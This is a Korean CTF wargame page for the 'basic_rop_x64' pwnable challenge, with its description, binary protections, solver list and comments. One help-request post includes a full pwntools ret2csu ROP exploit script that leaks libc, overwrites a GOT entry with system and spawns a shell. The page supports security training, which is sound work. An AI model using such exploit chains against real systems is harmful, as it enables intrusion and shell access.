LEVEL 2

basic_rop_x64

pwnable
  • 문제 정보
  • 풀이 137
  • 난이도 투표 72
  • 질문 37
  • 최근 풀이자 1828
  • 댓글 76

문제 설명

Description

이 문제는 서버에서 작동하고 있는 서비스(basic_rop_x64)의 바이너리와 소스 코드가 주어집니다.
Return Oriented Programming 공격 기법을 통해 셸을 획득한 후, "flag" 파일을 읽으세요.
"flag" 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{...} 입니다.

Environment
Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)
Reference

Return Oriented Programming

문제 수정 내역

2023.04.27: Ubuntu 22.04 환경으로 업데이트하였습니다.

출제자 정보

avatar
Dreamhack
대표 업적 없음

First Blood!

c0nfu5e
워게임: 20
출제된 지 23시간 만에 풀이 완료!

난이도 투표 72

질문 37

문제 풀이에 어려움이 있으신가요?
커뮤니티에서 문제에 대한 질문하고 답변 얻기
진짜 도와주에요 ㅝㅜ
이문제로 많이 해메고 잇어요 거의 다온거같은데 system 함수가 전달 안되는 거같아요 어떤게 문제죠? ㅜ 작성한 셀코드는 from pwn import* context.log_level = "debug" p = process("./basic_rop_x64") #p =remote("host3.dreamhack.games",20854) #e = ELF("./basic_rop_x64") libc = ELF("./libc.so.6") read_got = 0x601030 bss = 0x601080 write_got = 0x601020 csu_init1 = 0x40087a csu_init2 = 0x400860 payload = b"A" * 0x48 #write(1,write,8) leack got payload +=p64(csu_init1) payload +=p64(0) payload +=p64(1) payload +=p64(write_got) payload +=p64(8) payload +=p64(write_got) payload +=p64(1) payload +=p64(csu_init2) #read(0,bss,binsh) payload +=p64(0) payload +=p64(1) payload +=p64(read_got) payload +=p64(8) payload +=p64(bss) payload +=p64(0) payload +=p64(csu_init2) #write(1,read_got,sytem) payload +=p64(0) payload +=p64(1) payload +=p64(write_got) payload +=p64(8) payload +=p64(read_got) payload +=p64(1) payload +=p64(csu_init2) #system(binsh) payload +=p64(0) payload +=p64(1) payload +=p64(read_got) payload +=p64(0) payload +=p64(0) payload +=p64(bss) payload +=p64(csu_init2) p.sendline(payload) print(p.recvn(0x40)) write_addr = u64(p.recvn(8)) libc_base = write_addr - 0xf72b0 system = libc_base - 0xf72b0 + 0x45390 print('write @ ' + hex(write_addr)) print('system @ ' + hex(system)) p.send('/bin/sh\x00') p.sendline(p64(system)) gdb.attach(p) pause() p.interactive() 이렇캐 됩니당 ㅜㅜ 버전은 20.4
상달

최근 풀이자 1828

우빙
강의 수강: 1
avatar
멀루
대표 업적 없음
ImitationGod
대표 업적 없음
Turt1e94
대표 업적 없음
박한비
대표 업적 없음
닉네미
대표 업적 없음
avatar
귀능
대표 업적 없음
avatar
d3vh4cks
대표 업적 없음
땅지 구름운
대표 업적 없음
arisu
대표 업적 없음

댓글 76

Ma_Mu0228
대표 업적 없음
현재 로컬 시스템에서 SIGBUS 에러가 떠도, 서버 대상으로 익스플로잇 하면 성공하는 경우가 있습니다.
avatar
TAFKA
워게임: 50
어렵지 않아요
avatar
MerryQ
컴퍼니
다음부턴 도커환경에서 해야겠다
avatar
Captainjack
공부벌레
now ez for me ; )
avatar
스카이넷
워게임 고인물
ez
avatar
KnightChaser
공부벌레
Welp...
하얀종Ol
대표 업적 없음
예제를 풀고 쉽게 답이 나왔는데 Local에서 서버환경으로 해서 계속 안되고 있었네요 ㅎㅎ
avatar
Rosieblue
워게임 고인물
재밌어용 rop문제는 어려웠는데 걔를 풀고나서 얘를 푸니까 확실히 어떻게 풀지 감이 잡혀요ㅎㅎ
l000wk3y
공부벌레
간단한 rop라 처음에 공부하기 좋아요.
avatar
bshyuunn
강의 수강: 10
홀리 풀었다